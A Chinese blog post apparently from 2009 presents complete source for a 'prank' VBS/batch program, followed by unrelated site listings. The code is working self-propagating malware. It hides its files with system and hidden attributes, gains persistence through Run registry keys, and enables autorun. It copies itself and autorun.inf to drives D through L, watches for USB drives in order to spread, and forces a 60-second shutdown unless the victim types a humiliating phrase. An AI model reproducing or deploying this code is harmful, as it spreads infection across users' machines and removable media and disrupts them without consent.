一个整人的vbs脚本(yzy原创)
2009年08月30日
声明:你们可以任意转载,但是转载是必须表明作者是yzy
我写了个整人的vbs脚本(我叫它猪头1.3),分三部分:
一、开始.bat:@copy a\搞笑.vbe "c:\搞笑.vbe"
@copy a\reg.bat "c:\reg.bat"
@copy a\delu.bat "c:\delu.bat"
@copy a\u.vbs "c:\u.vbs"
@copy a\start.bat "c:\start.bat"
@copy a\u.bat "c:\u.bat"
@copy a\autorun.inf "c:\autorun.inf"
cls
@cd\
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r c:\u.bat
cls
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
cls
@"c:\搞笑.vbe"
二、a(文件夹): 1、autorun.inf:
[AutoRun]
Open=star.bat2、delu.bat:
@rmdir /s /q c:\autorun.inf
@rmdir /s /q d:\autorun.inf
@rmdir /s /q e:\autorun.inf
@rmdir /s /q f:\autorun.inf
cls
@rmdir /s /q g:\autorun.inf
@rmdir /s /q h:\autorun.inf
@rmdir /s /q i:\autorun.inf
@rmdir /s /q j:\autorun.inf
cls
@rmdir /s /q k:\autorun.inf
@rmdir /s /q l:\autorun.inf
cls3.reg.bat:
@cd\
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
cls
4.start.bat:@copy 搞笑.vbe "c:\搞笑.vbe"
@copy reg.bat "c:\reg.bat"
@copy delu.bat "delu.bat"
@copy u.vbs "c:\u.vbs"
@copy start.bat "start.bat"
@copy u.bat "c:\u.bat"
@copy autorun.inf "c:\autorun.inf"
cls
@cd\
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r c:\u.bat
cls
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
cls
@"c:\搞笑.vbe"
5.u.bat:@attrib -a -s -h -r c:\autorun.inf
@attrib -a -s -h -r c:\reg.bat
@attrib -a -s -h -r c:\搞笑.vbe
@attrib -a -s -h -r c:\delu.bat
@attrib -a -s -h -r c:\u.vbs
@attrib -a -s -h -r c:\start.bat
@attrib -a -s -h -r c:\u.bat
@copy c:\autorun.inf d:\autorun.inf
@copy c:\autorun.inf e:\autorun.inf
@copy c:\autorun.inf f:\autorun.inf
@copy c:\autorun.inf g:\autorun.inf
@copy c:\autorun.inf h:\autorun.inf
@copy c:\autorun.inf i:\autorun.inf
@copy c:\autorun.inf j:\autorun.inf
@copy c:\autorun.inf k:\autorun.inf
@copy c:\autorun.inf l:\autorun.inf
cls
@copy c:\reg.bat d:\reg.bat
@copy c:\reg.bat e:\reg.bat
@copy c:\reg.bat f:\reg.bat
@copy c:\reg.bat g:\reg.bat
@copy c:\reg.bat h:\reg.bat
@copy c:\reg.bat i:\reg.bat
@copy c:\reg.bat j:\reg.bat
@copy c:\reg.bat k:\reg.bat
@copy c:\reg.bat l:\reg.bat
cls
@copy c:\搞笑.vbe d:\搞笑.vbe
@copy c:\搞笑.vbe e:\搞笑.vbe
@copy c:\搞笑.vbe f:\搞笑.vbe
@copy c:\搞笑.vbe g:\搞笑.vbe
@copy c:\搞笑.vbe h:\搞笑.vbe
@copy c:\搞笑.vbe i:\搞笑.vbe
@copy c:\搞笑.vbe j:\搞笑.vbe
@copy c:\搞笑.vbe k:\搞笑.vbe
@copy c:\搞笑.vbe l:\搞笑.vbe
cls
@copy c:\delu.bat d:\delu.bat
@copy c:\delu.bat e:\delu.bat
@copy c:\delu.bat f:\delu.bat
@copy c:\delu.bat g:\delu.bat
@copy c:\delu.bat h:\delu.bat
@copy c:\delu.bat i:\delu.bat
@copy c:\delu.bat j:\delu.bat
@copy c:\delu.bat k:\delu.bat
@copy c:\delu.bat l:\delu.bat
cls
@copy c:\u.vbs d:\u.vbs
@copy c:\u.vbs e:\u.vbs
@copy c:\u.vbs f:\u.vbs
@copy c:\u.vbs g:\u.vbs
@copy c:\u.vbs h:\u.vbs
@copy c:\u.vbs i:\u.vbs
@copy c:\u.vbs j:\u.vbs
@copy c:\u.vbs k:\u.vbs
@copy c:\u.vbs l:\u.vbs
cls
@copy c:\start.bat d:\start.bat
@copy c:\start.bat e:\start.bat
@copy c:\start.bat f:\start.bat
@copy c:\start.bat g:\start.bat
@copy c:\start.bat h:\start.bat
@copy c:\start.bat i:\start.bat
@copy c:\start.bat j:\start.bat
@copy c:\start.bat k:\start.bat
@copy c:\start.bat l:\start.bat
cls
@copy c:\u.bat d:\u.bat
@copy c:\u.bat e:\u.bat
@copy c:\u.bat f:\u.bat
@copy c:\u.bat g:\u.bat
@copy c:\u.bat h:\u.bat
@copy c:\u.bat i:\u.bat
@copy c:\u.bat j:\u.bat
@copy c:\u.bat k:\u.bat
@copy c:\u.bat l:\u.bat
cls
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r d:\autorun.inf
@attrib +a +s +h +r e:\autorun.inf
@attrib +a +s +h +r f:\autorun.inf
@attrib +a +s +h +r g:\autorun.inf
@attrib +a +s +h +r h:\autorun.inf
@attrib +a +s +h +r i:\autorun.inf
@attrib +a +s +h +r j:\autorun.inf
@attrib +a +s +h +r k:\autorun.inf
@attrib +a +s +h +r l:\autorun.inf
cls
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r d:\reg.bat
@attrib +a +s +h +r e:\reg.bat
@attrib +a +s +h +r f:\reg.bat
@attrib +a +s +h +r g:\reg.bat
@attrib +a +s +h +r h:\reg.bat
@attrib +a +s +h +r i:\reg.bat
@attrib +a +s +h +r j:\reg.bat
@attrib +a +s +h +r k:\reg.bat
@attrib +a +s +h +r l:\reg.bat
cls
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r d:\搞笑.vbe
@attrib +a +s +h +r e:\搞笑.vbe
@attrib +a +s +h +r f:\搞笑.vbe
@attrib +a +s +h +r g:\搞笑.vbe
@attrib +a +s +h +r h:\搞笑.vbe
@attrib +a +s +h +r i:\搞笑.vbe
@attrib +a +s +h +r j:\搞笑.vbe
@attrib +a +s +h +r k:\搞笑.vbe
@attrib +a +s +h +r l:\搞笑.vbe
cls
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r d:\delu.bat
@attrib +a +s +h +r e:\delu.bat
@attrib +a +s +h +r f:\delu.bat
@attrib +a +s +h +r g:\delu.bat
@attrib +a +s +h +r h:\delu.bat
@attrib +a +s +h +r i:\delu.bat
@attrib +a +s +h +r j:\delu.bat
@attrib +a +s +h +r k:\delu.bat
@attrib +a +s +h +r l:\delu.bat
cls
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r d:\u.vbs
@attrib +a +s +h +r e:\u.vbs
@attrib +a +s +h +r f:\u.vbs
@attrib +a +s +h +r g:\u.vbs
@attrib +a +s +h +r h:\u.vbs
@attrib +a +s +h +r i:\u.vbs
@attrib +a +s +h +r j:\u.vbs
@attrib +a +s +h +r k:\u.vbs
@attrib +a +s +h +r l:\u.vbs
cls
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r d:\start.bat
@attrib +a +s +h +r e:\start.bat
@attrib +a +s +h +r f:\start.bat
@attrib +a +s +h +r g:\start.bat
@attrib +a +s +h +r h:\start.bat
@attrib +a +s +h +r i:\start.bat
@attrib +a +s +h +r j:\start.bat
@attrib +a +s +h +r k:\start.bat
@attrib +a +s +h +r l:\start.bat
cls
@attrib +a +s +h +r c:\u.bat
@attrib +a +s +h +r d:\u.bat
@attrib +a +s +h +r e:\u.bat
@attrib +a +s +h +r f:\u.bat
@attrib +a +s +h +r g:\u.bat
@attrib +a +s +h +r h:\u.bat
@attrib +a +s +h +r i:\u.bat
@attrib +a +s +h +r j:\u.bat
@attrib +a +s +h +r k:\u.bat
@attrib +a +s +h +r l:\u.bat
cls6.u.vbs:
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
do
Set Disks =fso.Drives
For Each Disk in Disks
if Disk.IsReady and Disk.DriveType=1 then
WSHshellA.run "cmd /c c:\delu.bat",0 ,true
WSHshellA.run "cmd /c c:\u.bat",0 ,true
exit do
end if
next
wscript.sleep 2000
loop
7.搞笑.vbe:on error resume next
dim WSHshellA
Dim msg,sapi
set sapi.Voice = colVoice.Item(cnVoice)
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 60 -c ""很想看吗?哈哈!赶紧说:我是猪头的爸爸的猪头??不说我是猪头这十二个字,就60秒后关机关你电脑,不信,试试??????"" ",0 ,true
Msg="很想看吗 哈哈 赶紧说 我是猪头的爸爸的猪头 不说我是猪头这十二个字 就60秒后关机关你电脑 不信 试试"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
dim a
do while(a "我是猪头的爸爸的猪头")
a = inputbox ("说我是猪头的爸爸的猪头??,就不关机,快撒,说 ""我是猪头的爸爸的猪头??""这十二个字"+chr(13)+chr(13)+"程序制作:yzy QQ:1033742067 ","说不说","在这输入那十二个字就不会关机了",8000,7000)
Msg="真的吗 你真的是猪头 看不出来哦"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
loop
msgbox chr(13) + chr(13) + chr(13) + "真的吗?你真的是猪头?看不出来哦```"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
Msg="哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"
发表评论
-
vbs脚本:WriteText
2012-01-20 10:00 604vbs脚本:WriteText 2010年08月09日 ... -
VBS脚本:CopyFile
2012-01-20 10:00 548VBS脚本:CopyFile 2010年08月08日 2 ... -
vbs 脚本:CopyFile
2012-01-20 10:00 825vbs 脚本:CopyFile 2010年08月08日 ... -
vbs脚本:MoveFile
2012-01-20 10:00 684vbs脚本:MoveFile 2010年08月08日 R ... -
vbs脚本:CopyFolder
2012-01-20 10:00 611vbs脚本:CopyFolder 2010年08月08日 ... -
内存绘图
2012-01-19 15:02 503内存绘图 2010年10月07日 经常出现图形闪烁的 ... -
AS3+PNGEncoder PHP 上传图片
2012-01-19 15:02 947AS3+PNGEncoder PHP 上传图片 2010年1 ... -
毕业实习报告
2012-01-19 15:02 834毕业实习报告 2011年05 ... -
7月16号 键盘按键失灵? 蓝屏的终极处理?
2012-01-19 15:02 10017月16号 键盘按键失灵? 蓝屏的终极处理? 2011年07 ... -
Nutch源代码学习-解读Nutch-运行,爬行过程
2012-01-19 15:01 626Nutch源代码学习-解读Nutch-运行,爬行过程 201 ... -
电 脑 小 知 识 荟萃
2012-01-17 04:47 667电 脑 小 知 识 荟萃 201 ... -
lightscape dos 下渲染
2012-01-17 04:46 666lightscape dos 下渲染 2011年01月06日 ... -
苹果的配置
2012-01-17 04:46 668苹果的配置 2010年12月27日 苹果的配置 ... -
将bat代码转换为VBS的工具脚本
2012-01-16 03:39 1515将bat代码转换为VBS的工具脚本 2010年01月14日 ... -
按键精灵 脚本-学习VBS的一个不错的教程
2012-01-16 03:39 911按键精灵 脚本-学习VBS的一个不错的教程 2009年12月 ... -
脚本-vbs-有用的脚本
2012-01-16 03:39 718脚本-vbs-有用的脚本 2010年01月15日 ,显示 ... -
四个经典的vbs脚本整理
2012-01-16 03:39 715四个经典的vbs脚本整理 2010年05月01日 四个经 ...
相关推荐
yzy第一次学习笔记作业
自建php留言本,简单易懂,适合初学者。11111111111111
安防,毕业设计做的安防程序,用到了火焰报警,热释电报警,毒气报警,ISM模块
python基础教程【智普教育】(自编精品),python视频video.quanzhan.org
摘要对于当前通信系统来说,物理层是通信服务得到保障的基础;而对于物理层来说,MIMO 则是基本的支撑技术;对于 MIMO 来说,准确地确定信道质量并做有效反馈及
内有ES6、React、React Native基础知识串讲,TypeScript基础知识, 项目分析,接口管理工具、新版导航器React-Navigation5.0
精品专题课件(2021-2022年收藏)
打包导出客户端,宝塔终端命令到客户端目录:cd/www/wwwroot/客户端目录,然后运行命令:npm run build,等待打包完成,打包完成后会出现一个dist目录 13.进入dist目录有两个文件dist和index.html,将这两个文件复制...
数据库 手工 备份 恢复 oracle sqlserver2000 sqlserver2005 sqlserver2008
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你...
正常启动后设置映射随便解析一个域名域名需要开通ssl 若出现extendslayoutblockcontenth1=titlepWelcometo#(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的然后打包 ...